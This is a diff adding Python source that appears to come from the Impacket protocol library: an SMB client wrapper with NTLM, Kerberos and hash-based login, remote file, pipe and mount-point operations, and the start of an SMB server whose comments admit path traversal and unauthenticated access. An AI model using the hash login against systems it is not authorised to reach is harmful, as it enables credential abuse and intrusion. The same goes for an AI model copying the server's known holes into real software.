+        return self._SMBConnection.get_server_dns_domain_name()
+
+    def getServerDNSHostName(self):
+        return self._SMBConnection.get_server_dns_host_name()
+
+    def getServerOS(self):
+        return self._SMBConnection.get_server_os()
+
+    def getServerOSMajor(self):
+        return self._SMBConnection.get_server_os_major()
+
+    def getServerOSMinor(self):
+        return self._SMBConnection.get_server_os_minor()
+
+    def getServerOSBuild(self):
+        return self._SMBConnection.get_server_os_build()
+
+    def doesSupportNTLMv2(self):
+        return self._SMBConnection.doesSupportNTLMv2()
+
+    def isLoginRequired(self):
+        return self._SMBConnection.is_login_required()
+
+    def isSigningRequired(self):
+        return self._SMBConnection.is_signing_required()
+
+    def getCredentials(self):
+        return self._SMBConnection.getCredentials()
+
+    def getIOCapabilities(self):
+        return self._SMBConnection.getIOCapabilities()
+
+    def login(self, user, password, domain = '', lmhash = '', nthash = '', ntlmFallback = True):
+        """
+        logins into the target system
+
+        :param string user: username
+        :param string password: password for the user
+        :param string domain: domain where the account is valid for
+        :param string lmhash: LMHASH used to authenticate using hashes (password is not used)
+        :param string nthash: NTHASH used to authenticate using hashes (password is not used)
+        :param bool ntlmFallback: If True it will try NTLMv1 authentication if NTLMv2 fails. Only available for SMBv1
+
+        :return: None
+        :raise SessionError: if error
+        """
+        self._ntlmFallback = ntlmFallback
+        try:
+            if self.getDialect() == smb.SMB_DIALECT:
+                return self._SMBConnection.login(user, password, domain, lmhash, nthash, ntlmFallback)
+            else:
+                return self._SMBConnection.login(user, password, domain, lmhash, nthash)
+        except (smb.SessionError, smb3.SessionError) as e:
+            raise SessionError(e.get_error_code(), e.get_error_packet())
+
+    def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None,
+                      TGS=None, useCache=True):
+        """
+        logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.
+
+        :param string user: username
+        :param string password: password for the user
+        :param string domain: domain where the account is valid for (required)
+        :param string lmhash: LMHASH used to authenticate using hashes (password is not used)
+        :param string nthash: NTHASH used to authenticate using hashes (password is not used)
+        :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
+        :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
+        :param struct TGT: If there's a TGT available, send the structure here and it will be used
+        :param struct TGS: same for TGS. See smb3.py for the format
+        :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False
+
+        :return: None
+        :raise SessionError: if error
+        """
+        from impacket.krb5.ccache import CCache
+        from impacket.krb5.kerberosv5 import KerberosError
+        from impacket.krb5 import constants
+
+        self._kdcHost = kdcHost
+        self._useCache = useCache
+
+        if TGT is not None or TGS is not None:
+            useCache = False
+
+        if useCache:
+            domain, user, TGT, TGS = CCache.parseFile(domain, user, 'cifs/%s' % self.getRemoteName())
+
+        while True:
+            try:
+                if self.getDialect() == smb.SMB_DIALECT:
+                    return self._SMBConnection.kerberos_login(user, password, domain, lmhash, nthash, aesKey, kdcHost,
+                                                              TGT, TGS)
+                return self._SMBConnection.kerberosLogin(user, password, domain, lmhash, nthash, aesKey, kdcHost, TGT,
+                                                         TGS)
+            except (smb.SessionError, smb3.SessionError) as e:
+                raise SessionError(e.get_error_code(), e.get_error_packet())
+            except KerberosError as e:
+                if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
+                    # We might face this if the target does not support AES
+                    # So, if that's the case we'll force using RC4 by converting
+                    # the password to lm/nt hashes and hope for the best. If that's already
+                    # done, byebye.
+                    if lmhash == '' and nthash == '' and (aesKey == '' or aesKey is None) and TGT is None and TGS is None:
+                        lmhash = compute_lmhash(password)
+                        nthash = compute_nthash(password)
+                    else:
+                        raise e
+                else:
+                    raise e
+
+    def isGuestSession(self):
+        try:
+            return self._SMBConnection.isGuestSession()
+        except (smb.SessionError, smb3.SessionError) as e:
+            raise SessionError(e.get_error_code(), e.get_error_packet())
+
+    def logoff(self):
+        try:
+            return self._SMBConnection.logoff()
+        except (smb.SessionError, smb3.SessionError) as e:
+            raise SessionError(e.get_error_code(), e.get_error_packet())
+
+
+    def connectTree(self,share):
+        if self.getDialect() == smb.SMB_DIALECT:
+            # If we already have a UNC we do nothing.
+            if ntpath.ismount(share) is False:
+                # Else we build it
+                share = ntpath.basename(share)
+                share = '\\\\' + self.getRemoteHost() + '\\' + share
+        try:
+            return self._SMBConnection.connect_tree(share)
+        except (smb.SessionError, smb3.SessionError) as e:
+            raise SessionError(e.get_error_code(), e.get_error_packet())
+
+
+    def disconnectTree(self, treeId):
+        try:
+            return self._SMBConnection.disconnect_tree(treeId)
+        except (smb.SessionError, smb3.SessionError) as e:
+            raise SessionError(e.get_error_code(), e.get_error_packet())
+
+
+    def listShares(self):
+        """
+        get a list of available shares at the connected target
+
+        :return: a list containing dict entries for each share
+        :raise SessionError: if error
+        """
+        # Get the shares through RPC
+        from impacket.dcerpc.v5 import transport, srvs
+        rpctransport = transport.SMBTransport(self.getRemoteName(), self.getRemoteHost(), filename=r'\srvsvc',
+                                              smb_connection=self)
+        dce = rpctransport.get_dce_rpc()
+        dce.connect()
+        dce.bind(srvs.MSRPC_UUID_SRVS)
+        resp = srvs.hNetrShareEnum(dce, 1)
+        return resp['InfoStruct']['ShareInfo']['Level1']['Buffer']
+
+    def listPath(self, shareName, path, password = None):
+        """
+        list the files/directories under shareName/path
+
+        :param string shareName: a valid name for the share where the files/directories are going to be searched
+        :param string path: a base path relative to shareName
+        :param string password: the password for the share
+
+        :return: a list containing smb.SharedFile items
+        :raise SessionError: if error
+        """
+
+        try:
+            return self._SMBConnection.list_path(shareName, path, password)
+        except (smb.SessionError, smb3.SessionError) as e:
+            raise SessionError(e.get_error_code(), e.get_error_packet())
+
+    def createFile(self, treeId, pathName, desiredAccess=GENERIC_ALL,
+                   shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
+                   creationOption=FILE_NON_DIRECTORY_FILE, creationDisposition=FILE_OVERWRITE_IF,
+                   fileAttributes=FILE_ATTRIBUTE_NORMAL, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
+                   oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
+        """
+        Creates a remote file
+
+        :param HANDLE treeId: a valid handle for the share where the file is to be created
+        :param string pathName: the path name of the file to create
+        :param int desiredAccess: The level of access that is required, as specified in https://msdn.microsoft.com/en-us/library/cc246503.aspx
+        :param int shareMode: Specifies the sharing mode for the open.
+        :param int creationOption: Specifies the options to be applied when creating or opening the file.
+        :param int creationDisposition: Defines the action the server MUST take if the file that is specified in the name
+        field already exists.
+        :param int fileAttributes: This field MUST be a combination of the values specified in [MS-FSCC] section 2.6, and MUST NOT include any values other than those specified in that section.
+        :param int impersonationLevel: This field specifies the impersonation level requested by the application that is issuing the create request.
+        :param int securityFlags: This field MUST NOT be used and MUST be reserved. The client MUST set this to 0, and the server MUST ignore it.
+        :param int oplockLevel: The requested oplock level
+        :param createContexts: A variable-length attribute that is sent with an SMB2 CREATE Request or SMB2 CREATE Response that either gives extra information about how the create will be processed, or returns extra information about how the create was processed.
+
+        :return: a valid file descriptor
+        :raise SessionError: if error
+        """
+        if self.getDialect() == smb.SMB_DIALECT:
+            _, flags2 = self._SMBConnection.get_flags()
+
+            pathName = pathName.replace('/', '\\')
+            packetPathName = pathName.encode('utf-16le') if flags2 & smb.SMB.FLAGS2_UNICODE else pathName
+
+            ntCreate = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX)
+            ntCreate['Parameters'] = smb.SMBNtCreateAndX_Parameters()
+            ntCreate['Data']       = smb.SMBNtCreateAndX_Data(flags=flags2)
+            ntCreate['Parameters']['FileNameLength']= len(packetPathName)
+            ntCreate['Parameters']['AccessMask']    = desiredAccess
+            ntCreate['Parameters']['FileAttributes']= fileAttributes
+            ntCreate['Parameters']['ShareAccess']   = shareMode
+            ntCreate['Parameters']['Disposition']   = creationDisposition
+            ntCreate['Parameters']['CreateOptions'] = creationOption
+            ntCreate['Parameters']['Impersonation'] = impersonationLevel
+            ntCreate['Parameters']['SecurityFlags'] = securityFlags
+            ntCreate['Parameters']['CreateFlags']   = 0x16
+            ntCreate['Data']['FileName'] = packetPathName
+
+            if flags2 & smb.SMB.FLAGS2_UNICODE:
+                ntCreate['Data']['Pad'] = 0x0
+
+            if createContexts is not None:
+                LOG.error("CreateContexts not supported in SMB1")
+
+            try:
+                return self._SMBConnection.nt_create_andx(treeId, pathName, cmd = ntCreate)
+            except (smb.SessionError, smb3.SessionError) as e:
+                raise SessionError(e.get_error_code(), e.get_error_packet())
+        else:
+            try:
+                return self._SMBConnection.create(treeId, pathName, desiredAccess, shareMode, creationOption,
+                                                  creationDisposition, fileAttributes, impersonationLevel,
+                                                  securityFlags, oplockLevel, createContexts)
+            except (smb.SessionError, smb3.SessionError) as e:
+                raise SessionError(e.get_error_code(), e.get_error_packet())
+
+    def openFile(self, treeId, pathName, desiredAccess=FILE_READ_DATA | FILE_WRITE_DATA, shareMode=FILE_SHARE_READ,
+                 creationOption=FILE_NON_DIRECTORY_FILE, creationDisposition=FILE_OPEN,
+                 fileAttributes=FILE_ATTRIBUTE_NORMAL, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
+                 oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
+        """
+        opens a remote file
+
+        :param HANDLE treeId: a valid handle for the share where the file is to be opened
+        :param string pathName: the path name to open
+        :param int desiredAccess: The level of access that is required, as specified in https://msdn.microsoft.com/en-us/library/cc246503.aspx
+        :param int shareMode: Specifies the sharing mode for the open.
+        :param int creationOption: Specifies the options to be applied when creating or opening the file.
+        :param int creationDisposition: Defines the action the server MUST take if the file that is specified in the name
+        field already exists.
+        :param int fileAttributes: This field MUST be a combination of the values specified in [MS-FSCC] section 2.6, and MUST NOT include any values other than those specified in that section.
+        :param int impersonationLevel: This field specifies the impersonation level requested by the application that is issuing the create request.
+        :param int securityFlags: This field MUST NOT be used and MUST be reserved. The client MUST set this to 0, and the server MUST ignore it.
+        :param int oplockLevel: The requested oplock level
+        :param createContexts: A variable-length attribute that is sent with an SMB2 CREATE Request or SMB2 CREATE Response that either gives extra information about how the create will be processed, or returns extra information about how the create was processed.
+
+        :return: a valid file descriptor
+        :raise SessionError: if error
+        """
+
+        if self.getDialect() == smb.SMB_DIALECT:
+            _, flags2 = self._SMBConnection.get_flags()
+
+            pathName = pathName.replace('/', '\\')
+            packetPathName = pathName.encode('utf-16le') if flags2 & smb.SMB.FLAGS2_UNICODE else pathName
+
+            ntCreate = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX)
+            ntCreate['Parameters'] = smb.SMBNtCreateAndX_Parameters()
+            ntCreate['Data']       = smb.SMBNtCreateAndX_Data(flags=flags2)
+            ntCreate['Parameters']['FileNameLength']= len(packetPathName)
+            ntCreate['Parameters']['AccessMask']    = desiredAccess
+            ntCreate['Parameters']['FileAttributes']= fileAttributes
+            ntCreate['Parameters']['ShareAccess']   = shareMode
+            ntCreate['Parameters']['Disposition']   = creationDisposition
+            ntCreate['Parameters']['CreateOptions'] = creationOption
+            ntCreate['Parameters']['Impersonation'] = impersonationLevel
+            ntCreate['Parameters']['SecurityFlags'] = securityFlags
+            ntCreate['Parameters']['CreateFlags']   = 0x16
+            ntCreate['Data']['FileName'] = packetPathName
+
+            if flags2 & smb.SMB.FLAGS2_UNICODE:
+                ntCreate['Data']['Pad'] = 0x0
+
+            if createContexts is not None:
+                LOG.error("CreateContexts not supported in SMB1")
+
+            try:
+                return self._SMBConnection.nt_create_andx(treeId, pathName, cmd = ntCreate)
+            except (smb.SessionError, smb3.SessionError) as e:
+                raise SessionError(e.get_error_code(), e.get_error_packet())
+        else:
+            try:
+                return self._SMBConnection.create(treeId, pathName, desiredAccess, shareMode, creationOption,
+                                                  creationDisposition, fileAttributes, impersonationLevel,
+                                                  securityFlags, oplockLevel, createContexts)
+            except (smb.SessionError, smb3.SessionError) as e:
+                raise SessionError(e.get_error_code(), e.get_error_packet())
+
+    def writeFile(self, treeId, fileId, data, offset=0):
+        """
+        writes data to a file
+
+        :param HANDLE treeId: a valid handle for the share where the file is to be written
+        :param HANDLE fileId: a valid handle for the file
+        :param string data: buffer with the data to write
+        :param integer offset: offset where to start writing the data
+
+        :return: amount of bytes written
+        :raise SessionError: if error
+        """
+        try:
+            return self._SMBConnection.writeFile(treeId, fileId, data, offset)
+        except (smb.SessionError, smb3.SessionError) as e:
+            raise SessionError(e.get_error_code(), e.get_error_packet())
+
+    def readFile(self, treeId, fileId, offset = 0, bytesToRead = None, singleCall = True):
+        """
+        reads data from a file
+
+        :param HANDLE treeId: a valid handle for the share where the file is to be read
+        :param HANDLE fileId: a valid handle for the file to be read
+        :param integer offset: offset where to start reading the data
+        :param integer bytesToRead: amount of bytes to attempt reading. If None, it will attempt to read Dialect['MaxBufferSize'] bytes.
+        :param boolean singleCall: If True it won't attempt to read all bytesToRead. It will only make a single read call
+
+        :return: the data read. Length of data read is not always bytesToRead
+        :raise SessionError: if error
+        """
+        finished = False
+        data = b''
+        maxReadSize = self._SMBConnection.getIOCapabilities()['MaxReadSize']
+        if bytesToRead is None:
+            bytesToRead = maxReadSize
+        remainingBytesToRead = bytesToRead
+        while not finished:
+            if remainingBytesToRead > maxReadSize:
+                toRead = maxReadSize
+            else:
+                toRead = remainingBytesToRead
+            try:
+                bytesRead = self._SMBConnection.read_andx(treeId, fileId, offset, toRead)
+            except (smb.SessionError, smb3.SessionError) as e:
+                if e.get_error_code() == nt_errors.STATUS_END_OF_FILE:
+                    toRead = b''
+                    break
+                else:
+                    raise SessionError(e.get_error_code(), e.get_error_packet())
+
+            data += bytesRead
+            if len(data) >= bytesToRead:
+                finished = True
+            elif len(bytesRead) == 0:
+                # End of the file achieved.
+                finished = True
+            elif singleCall is True:
+                finished = True
+            else:
+                offset += len(bytesRead)
+                remainingBytesToRead -= len(bytesRead)
+
+        return data
+
+    def closeFile(self, treeId, fileId):
+        """
+        closes a file handle
+
+        :param HANDLE treeId: a valid handle for the share where the file is to be opened
+        :param HANDLE fileId: a valid handle for the file/directory to be closed
+
+        :return: None
+        :raise SessionError: if error
+        """
+        try:
+            return self._SMBConnection.close(treeId, fileId)
+        except (smb.SessionError, smb3.SessionError) as e:
+            raise SessionError(e.get_error_code(), e.get_error_packet())
+
+    def deleteFile(self, shareName, pathName):
+        """
+        removes a file
+
+        :param string shareName: a valid name for the share where the file is to be deleted
+        :param string pathName: the path name to remove
+
+        :return: None
+        :raise SessionError: if error
+        """
+        try:
+            return self._SMBConnection.remove(shareName, pathName)
+        except (smb.SessionError, smb3.SessionError) as e:
+            raise SessionError(e.get_error_code(), e.get_error_packet())
+
+    def queryInfo(self, treeId, fileId):
+        """
+        queries basic information about an opened file/directory
+
+        :param HANDLE treeId: a valid handle for the share where the file is to be queried
+        :param HANDLE fileId: a valid handle for the file/directory to be queried
+
+        :return: a smb.SMBQueryFileStandardInfo structure.
+        :raise SessionError: if error
+        """
+        try:
+            if self.getDialect() == smb.SMB_DIALECT:
+                res = self._SMBConnection.query_file_info(treeId, fileId)
+            else:
+                res = self._SMBConnection.queryInfo(treeId, fileId)
+            return smb.SMBQueryFileStandardInfo(res)
+        except (smb.SessionError, smb3.SessionError) as e:
+            raise SessionError(e.get_error_code(), e.get_error_packet())
+
+    def createDirectory(self, shareName, pathName ):
+        """
+        creates a directory
+
+        :param string shareName: a valid name for the share where the directory is to be created
+        :param string pathName: the path name or the directory to create
+
+        :return: None
+        :raise SessionError: if error
+        """
+        try:
+            return self._SMBConnection.mkdir(shareName, pathName)
+        except (smb.SessionError, smb3.SessionError) as e:
+            raise SessionError(e.get_error_code(), e.get_error_packet())
+
+    def deleteDirectory(self, shareName, pathName):
+        """
+        deletes a directory
+
+        :param string shareName: a valid name for the share where directory is to be deleted
+        :param string pathName: the path name or the directory to delete
+
+        :return: None
+        :raise SessionError: if error
+        """
+        try:
+            return self._SMBConnection.rmdir(shareName, pathName)
+        except (smb.SessionError, smb3.SessionError) as e:
+            raise SessionError(e.get_error_code(), e.get_error_packet())
+
+    def waitNamedPipe(self, treeId, pipeName, timeout = 5):
+        """
+        waits for a named pipe
+
+        :param HANDLE treeId: a valid handle for the share where the pipe is
+        :param string pipeName: the pipe name to check
+        :param integer timeout: time to wait for an answer
+
+        :return: None
+        :raise SessionError: if error
+        """
+        try:
+            return self._SMBConnection.waitNamedPipe(treeId, pipeName, timeout = timeout)
+        except (smb.SessionError, smb3.SessionError) as e:
+            raise SessionError(e.get_error_code(), e.get_error_packet())
+
+    def transactNamedPipe(self, treeId, fileId, data, waitAnswer = True):
+        """
+        writes to a named pipe using a transaction command
+
+        :param HANDLE treeId: a valid handle for the share where the pipe is
+        :param HANDLE fileId: a valid handle for the pipe
+        :param string data: buffer with the data to write
+        :param boolean waitAnswer: whether or not to wait for an answer
+
+        :return: None
+        :raise SessionError: if error
+        """
+        try:
+            return self._SMBConnection.TransactNamedPipe(treeId, fileId, data, waitAnswer = waitAnswer)
+        except (smb.SessionError, smb3.SessionError) as e:
+            raise SessionError(e.get_error_code(), e.get_error_packet())
+
+    def transactNamedPipeRecv(self):
+        """
+        reads from a named pipe using a transaction command
+
+        :return: data read
+        :raise SessionError: if error
+        """
+        try:
+            return self._SMBConnection.TransactNamedPipeRecv()
+        except (smb.SessionError, smb3.SessionError) as e:
+            raise SessionError(e.get_error_code(), e.get_error_packet())
+
+    def writeNamedPipe(self, treeId, fileId, data, waitAnswer = True):
+        """
+        writes to a named pipe
+
+        :param HANDLE treeId: a valid handle for the share where the pipe is
+        :param HANDLE fileId: a valid handle for the pipe
+        :param string data: buffer with the data to write
+        :param boolean waitAnswer: whether or not to wait for an answer
+
+        :return: None
+        :raise SessionError: if error
+        """
+        try:
+            if self.getDialect() == smb.SMB_DIALECT:
+                return self._SMBConnection.write_andx(treeId, fileId, data, wait_answer = waitAnswer, write_pipe_mode = True)
+            else:
+                return self.writeFile(treeId, fileId, data, 0)
+        except (smb.SessionError, smb3.SessionError) as e:
+            raise SessionError(e.get_error_code(), e.get_error_packet())
+
+    def readNamedPipe(self,treeId, fileId, bytesToRead = None ):
+        """
+        read from a named pipe
+
+        :param HANDLE treeId: a valid handle for the share where the pipe resides
+        :param HANDLE fileId: a valid handle for the pipe
+        :param integer bytesToRead: amount of data to read
+
+        :return: None
+        :raise SessionError: if error
+        """
+
+        try:
+            return self.readFile(treeId, fileId, bytesToRead = bytesToRead, singleCall = True)
+        except (smb.SessionError, smb3.SessionError) as e:
+            raise SessionError(e.get_error_code(), e.get_error_packet())
+
+
+    def getFile(self, shareName, pathName, callback, shareAccessMode = None):
+        """
+        downloads a file
+
+        :param string shareName: name for the share where the file is to be retrieved
+        :param string pathName: the path name to retrieve
+        :param callback callback: function called to write the contents read.
+        :param int shareAccessMode:
+
+        :return: None
+        :raise SessionError: if error
+        """
+        try:
+            if shareAccessMode is None:
+                # if share access mode is none, let's the underlying API deals with it
+                return self._SMBConnection.retr_file(shareName, pathName, callback)
+            else:
+                return self._SMBConnection.retr_file(shareName, pathName, callback, shareAccessMode=shareAccessMode)
+        except (smb.SessionError, smb3.SessionError) as e:
+            raise SessionError(e.get_error_code(), e.get_error_packet())
+
+    def putFile(self, shareName, pathName, callback, shareAccessMode = None):
+        """
+        uploads a file
+
+        :param string shareName: name for the share where the file is to be uploaded
+        :param string pathName: the path name to upload
+        :param callback callback: function called to read the contents to be written.
+        :param int shareAccessMode:
+
+        :return: None
+        :raise SessionError: if error
+        """
+        try:
+            if shareAccessMode is None:
+                # if share access mode is none, let's the underlying API deals with it
+                return self._SMBConnection.stor_file(shareName, pathName, callback)
+            else:
+                return self._SMBConnection.stor_file(shareName, pathName, callback, shareAccessMode)
+        except (smb.SessionError, smb3.SessionError) as e:
+            raise SessionError(e.get_error_code(), e.get_error_packet())
+
+    def listSnapshots(self, tid, path):
+        """
+        lists the snapshots for the given directory
+
+        :param int tid: tree id of current connection
+        :param string path: directory to list the snapshots of
+
+        :raise SessionError: if error
+        """
+
+        # Verify we're under SMB2+ session
+        if self.getDialect() not in [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]:
+            raise SessionError(error = nt_errors.STATUS_NOT_SUPPORTED)
+
+        fid = self.openFile(tid, path, FILE_READ_DATA | FILE_READ_EA | FILE_READ_ATTRIBUTES | READ_CONTROL | SYNCHRONIZE,
+                            fileAttributes=None, creationOption=FILE_SYNCHRONOUS_IO_NONALERT,
+                            shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE)
+
+        # first send with maxOutputResponse=16 to get the required size
+        try:
+            snapshotData = SRV_SNAPSHOT_ARRAY(self._SMBConnection.ioctl(tid, fid, FSCTL_SRV_ENUMERATE_SNAPSHOTS,
+                                  flags=SMB2_0_IOCTL_IS_FSCTL, maxOutputResponse=16))
+        except (smb.SessionError, smb3.SessionError) as e:
+            self.closeFile(tid, fid)
+            raise SessionError(e.get_error_code(), e.get_error_packet())
+
+        if snapshotData['SnapShotArraySize'] >= 52:
+            # now send an appropriate sized buffer
+            try:
+               snapshotData = SRV_SNAPSHOT_ARRAY(self._SMBConnection.ioctl(tid, fid, FSCTL_SRV_ENUMERATE_SNAPSHOTS,
+                                  flags=SMB2_0_IOCTL_IS_FSCTL, maxOutputResponse=snapshotData['SnapShotArraySize']+12))
+            except (smb.SessionError, smb3.SessionError) as e:
+               self.closeFile(tid, fid)
+               raise SessionError(e.get_error_code(), e.get_error_packet())
+
+        self.closeFile(tid, fid)
+        return list(filter(None, snapshotData['SnapShots'].decode('utf16').split('\x00')))
+
+    def createMountPoint(self, tid, path, target):
+        """
+        creates a mount point at an existing directory
+
+        :param int tid: tree id of current connection
+        :param string path: directory at which to create mount point (must already exist)
+        :param string target: target address of mount point
+
+        :raise SessionError: if error
+        """
+
+        # Verify we're under SMB2+ session
+        if self.getDialect() not in [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]:
+            raise SessionError(error = nt_errors.STATUS_NOT_SUPPORTED)
+
+        fid = self.openFile(tid, path, GENERIC_READ | GENERIC_WRITE,
+                            creationOption=FILE_OPEN_REPARSE_POINT)
+
+        if target.startswith("\\"):
+            fixed_name  = target.encode('utf-16le')
+        else:
+            fixed_name  = ("\\??\\" + target).encode('utf-16le')
+
+        name        = target.encode('utf-16le')
+
+        reparseData = MOUNT_POINT_REPARSE_DATA_STRUCTURE()
+
+        reparseData['PathBuffer']           = fixed_name + b"\x00\x00" + name + b"\x00\x00"
+        reparseData['SubstituteNameLength'] = len(fixed_name)
+        reparseData['PrintNameOffset']      = len(fixed_name) + 2
+        reparseData['PrintNameLength']      = len(name)
+
+        self._SMBConnection.ioctl(tid, fid, FSCTL_SET_REPARSE_POINT, flags=SMB2_0_IOCTL_IS_FSCTL,
+                                  inputBlob=reparseData)
+
+        self.closeFile(tid, fid)
+
+    def removeMountPoint(self, tid, path):
+        """
+        removes a mount point without deleting the underlying directory
+
+        :param int tid: tree id of current connection
+        :param string path: path to mount point to remove
+
+        :raise SessionError: if error
+        """
+
+        # Verify we're under SMB2+ session
+        if self.getDialect() not in [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]:
+            raise SessionError(error = nt_errors.STATUS_NOT_SUPPORTED)
+
+        fid = self.openFile(tid, path, GENERIC_READ | GENERIC_WRITE,
+                            creationOption=FILE_OPEN_REPARSE_POINT)
+
+        reparseData = MOUNT_POINT_REPARSE_GUID_DATA_STRUCTURE()
+
+        reparseData['DataBuffer'] = b""
+
+        try:
+            self._SMBConnection.ioctl(tid, fid, FSCTL_DELETE_REPARSE_POINT, flags=SMB2_0_IOCTL_IS_FSCTL,
+                                      inputBlob=reparseData)
+        except (smb.SessionError, smb3.SessionError) as e:
+            self.closeFile(tid, fid)
+            raise SessionError(e.get_error_code(), e.get_error_packet())
+
+        self.closeFile(tid, fid)
+
+    def rename(self, shareName, oldPath, newPath):
+        """
+        renames a file/directory
+
+        :param string shareName: name for the share where the files/directories are
+        :param string oldPath: the old path name or the directory/file to rename
+        :param string newPath: the new path name or the directory/file to rename
+
+        :return: True
+        :raise SessionError: if error
+        """
+
+        try:
+            return self._SMBConnection.rename(shareName, oldPath, newPath)
+        except (smb.SessionError, smb3.SessionError) as e:
+            raise SessionError(e.get_error_code(), e.get_error_packet())
+
+    def reconnect(self):
+        """
+        reconnects the SMB object based on the original options and credentials used. Only exception is that
+        manualNegotiate will not be honored.
+        Not only the connection will be created but also a login attempt using the original credentials and
+        method (Kerberos, PtH, etc)
+
+        :return: True
+        :raise SessionError: if error
+        """
+        userName, password, domain, lmhash, nthash, aesKey, TGT, TGS = self.getCredentials()
+        self.negotiateSession(self._preferredDialect)
+        if self._doKerberos is True:
+            self.kerberosLogin(userName, password, domain, lmhash, nthash, aesKey, self._kdcHost, TGT, TGS, self._useCache)
+        else:
+            self.login(userName, password, domain, lmhash, nthash, self._ntlmFallback)
+
+        return True
+
+    def setTimeout(self, timeout):
+        try:
+            return self._SMBConnection.set_timeout(timeout)
+        except (smb.SessionError, smb3.SessionError) as e:
+            raise SessionError(e.get_error_code(), e.get_error_packet())
+
+    def getSessionKey(self):
+        if self.getDialect() == smb.SMB_DIALECT:
+            return self._SMBConnection.get_session_key()
+        else:
+            return self._SMBConnection.getSessionKey()
+
+    def setSessionKey(self, key):
+        if self.getDialect() == smb.SMB_DIALECT:
+            return self._SMBConnection.set_session_key(key)
+        else:
+            return self._SMBConnection.setSessionKey(key)
+
+    def setHostnameValidation(self, validate, accept_empty, hostname):
+        return self._SMBConnection.set_hostname_validation(validate, accept_empty, hostname)
+
+    def close(self):
+        """
+        logs off and closes the underlying _NetBIOSSession()
+
+        :return: None
+        """
+        try:
+            self.logoff()
+        except:
+            pass
+        self._SMBConnection.close_session()
+
+
+class SessionError(Exception):
+    """
+    This is the exception every client should catch regardless of the underlying
+    SMB version used. We'll take care of that. NETBIOS exceptions are NOT included,
+    since all SMB versions share the same NETBIOS instances.
+    """
+    def __init__( self, error = 0, packet=0):
+        Exception.__init__(self)
+        self.error = error
+        self.packet = packet
+
+    def getErrorCode( self ):
+        return self.error
+
+    def getErrorPacket( self ):
+        return self.packet
+
+    def getErrorString( self ):
+        return nt_errors.ERROR_MESSAGES[self.error]
+
+    def __str__( self ):
+        if self.error in nt_errors.ERROR_MESSAGES:
+            return 'SMB SessionError: %s(%s)' % (nt_errors.ERROR_MESSAGES[self.error])
+        else:
+            return 'SMB SessionError: 0x%x' % self.error
diff --git a/impacket/smbserver.py b/impacket/smbserver.py
new file mode 100644
index 0000000..70498fb
--- /dev/null
+++ b/impacket/smbserver.py
@@ -0,0 +1,4953 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+# TODO:
+#   [-] Functions should return NT error codes
+#   [-] Handling errors in all situations, right now it's just raising exceptions.
+#   [*] Standard authentication support
+#   [ ] Organize the connectionData stuff
+#   [*] Add capability to send a bad user ID if the user is not authenticated,
+#       right now you can ask for any command without actually being authenticated
+#   [ ] PATH TRAVERSALS EVERYWHERE.. BE WARNED!
+#   [ ] Check error situation (now many places assume the right data is coming)
+#   [ ] Implement IPC to the main process so the connectionData is on a single place
+#   [ ] Hence.. implement locking
+# estamos en la B
+
+import calendar
+import socket
+import time
+import datetime
+import struct
+import threading
+import logging
+import logging.config
+import ntpath
+import os
+import fnmatch
+import errno
+import sys
+import random
+import shutil
+import string
+import hashlib
+import hmac
+
+from binascii import unhexlify, hexlify, a2b_hex
+from six import PY2, b, text_type
+from six.moves import configparser, socketserver
+
+# For signing
+from impacket import smb, nmb, ntlm, uuid
+from impacket import smb3structs as smb2
+from impacket.spnego import SPNEGO_NegTokenInit, TypesMech, MechTypes, SPNEGO_NegTokenResp, ASN1_AID, \
+    ASN1_SUPPORTED_MECH
+from impacket.nt_errors import STATUS_NO_MORE_FILES, STATUS_NETWORK_NAME_DELETED, STATUS_INVALID_PARAMETER, \
+    STATUS_FILE_CLOSED, STATUS_MORE_PROCESSING_REQUIRED, STATUS_OBJECT_PATH_NOT_FOUND, STATUS_DIRECTORY_NOT_EMPTY, \
+    STATUS_FILE_IS_A_DIRECTORY, STATUS_NOT_IMPLEMENTED, STATUS_INVALID_HANDLE, STATUS_OBJECT_NAME_COLLISION, \
+    STATUS_NO_SUCH_FILE, STATUS_CANCELLED, STATUS_OBJECT_NAME_NOT_FOUND, STATUS_SUCCESS, STATUS_ACCESS_DENIED, \
+    STATUS_NOT_SUPPORTED, STATUS_INVALID_DEVICE_REQUEST, STATUS_FS_DRIVER_REQUIRED, STATUS_INVALID_INFO_CLASS, \
+    STATUS_LOGON_FAILURE, STATUS_OBJECT_PATH_SYNTAX_BAD
+
+# Setting LOG to current's module name
+LOG = logging.getLogger(__name__)
+
+# These ones not defined in nt_errors
+STATUS_SMB_BAD_UID = 0x005B0002
+STATUS_SMB_BAD_TID = 0x00050002
+
+
+# Utility functions
+# and general functions.
+# There are some common functions that can be accessed from more than one SMB
+# command (or either TRANSACTION). That's why I'm putting them here
+# TODO: Return NT ERROR Codes
+
+def computeNTLMv2(identity, lmhash, nthash, serverChallenge, authenticateMessage, ntlmChallenge, type1):
+    # Let's calculate the NTLMv2 Response
+
+    responseKeyNT = ntlm.NTOWFv2(identity, '', authenticateMessage['domain_name'].decode('utf-16le'), nthash)
